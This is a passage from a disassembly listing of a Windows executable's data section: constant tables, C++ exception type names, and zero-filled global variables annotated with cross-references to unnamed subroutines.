95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF58 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D0B4 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D0CC dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0EC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D10C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D130 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D150 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D158 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D160 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D178 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCE0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEE0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEE4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEE8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEEC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEF0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEF4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEF8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dword_43DEFC dd 1E15h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043378Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A78o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384E8o dd 3F3Dh dup(0) db 0 byte_467139 db 3 dup(0) ; DATA XREF: Themida_:00557453o dword_46713C dd 13842h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438354o dword_4B5248 dd 56A6h dup(0) dword_4CACE0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACE4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACE8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACEC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD6C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CADAC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE3C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE40 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE50 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE54 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE58 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE5C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE90 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+934w dword_4CAEC0 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAECC dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAED8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEE0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEE4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAEFC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAF08 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAF10 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAF14 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAF18 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAF1C dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAF28 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAF2C dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF4C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF50 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF58 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF5C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF74 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF80 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF8C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAFA4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAFB4 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAFBC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAFC4 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAFC8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFE4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB000 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB00C dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB010 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB014 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB018 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CB01C dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB020 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CB024 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB028 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB02C dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB030 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB03C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB044 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB048 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB04C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB050 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB054 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB05C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB060 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB064 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB06C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB074 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB078 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB080 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB088 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB090 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB094 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB098 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB09C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB0A4 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB0A8 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB0AC dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB0B0 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB0B4 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB0B8 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB0BC dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB0C0 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB0C4 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB0C8 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB0CC dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0D0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0D4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0F0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0F4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0F0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD108 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD10C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD110 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD114 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD118 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD198 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD19C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD1A0 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD1A8 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD1AC dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD2B0 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD3B4 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD3B8 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD3BC dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD3C0 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD440 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD444 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD448 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD450 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD454 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD558 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD65C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD660 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD664 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD668 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6E8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6EC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6F0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6F8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6FC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD984 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA88 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA90 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA94 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA98 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA9C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDAA4 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDAAC dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDAB0 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDAB4 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDCBC dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDCC4 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDCCC dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCD4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCE0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCE4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCEC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCF4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCF8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDD08 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDD10 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE138 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE758 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEBCC dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2BCC dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BD0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BD8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2C10 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2E10 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3610 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3E10 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3E14 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3E18 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3E1C dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3E20 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D4020 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D4028 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D402C dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4030 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4034 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4038 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D403C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4044 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 42h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437860o dd 3Ch dup(0) dword_4D4244 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA758 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA75C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA960 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA9BC dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DABBC dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DABC0 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DAC1C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DAE1C db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DAE20 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB020 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB224 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB228 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB22C dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB230 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB234 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB268 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB270 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB2A8 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB2AC dd 0 ; DATA XREF: 